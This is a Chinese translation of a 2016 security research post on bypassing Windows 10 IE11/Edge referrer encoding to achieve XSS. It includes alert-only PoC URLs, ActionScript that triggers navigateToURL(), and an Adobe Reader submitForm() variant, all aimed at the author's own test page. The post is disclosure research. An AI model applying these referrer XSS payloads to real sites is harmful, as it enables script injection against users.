原文鏈接: http://mksben.l0.cm/2016/10/xss-via-referrer.html
原作者:Masato Kinugawa
譯者:Holic (知道創宇404安全實驗室)
自從 Windows 10 發布周年更新版本后,微軟貌似在 IE11 和 Edge 上杜絕了一些 XSS 技巧。referrer的行為便是其中之一。
下面的這個頁面之間將 HTTP_REFERER 和 document.referrer 寫進了頁面里面:
https://vulnerabledoma.in/xss_referrer
之前的IE/Edge版本并沒有編碼"<>字符,因此我們能直接利用以下的 PoC 施展 XSS 攻擊:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>
但自從 Windows 10 周年更新之后, IE11 和 Edge 瀏覽器對它進行了編碼。然后將會在頁面中得到以下編碼過的字符串:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
太糟了。
當然使用 Win8.1/7 的 IE11 依然受影響。但我們難道不想在Win10上進行 XSS 嗎?
現在我來分享一個小技巧,在最新版 Win10 Edge/IE11 上利用 referrer 進行 XSS。
非常簡單的技巧。如果發送請求來自于Flash的navigateToURL()方法,那么你將能很輕易的在 referrer 中包含"<>字符串,就像下面的方法:
https://l0.cm/xss_referrer.swf?<script>alert(1)</script>
這兒是相應的 ActionScript 代碼:
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
navigateToURL(url, "_self");
}
}
}
正如所見的訪問結果,我們能通過 Referrer請求頭造成XSS。但很遺憾不能通過 document.referrer 屬性進行XSS,因為它是空的。Dang :P

參考內容:我還能通過 Acrobat API 中 JavaScript 的 submitForm() method 復現此漏洞。
我在使用 Adobe Reader plugin 的 Win10 IE11 確認了此漏洞的存在。
PoC在這兒:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>
看來并沒有被考慮到通過插件發起請求的情況。
就醬,在一些場景或許會有幫助吧。 Thanks!
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/61/
暫無評論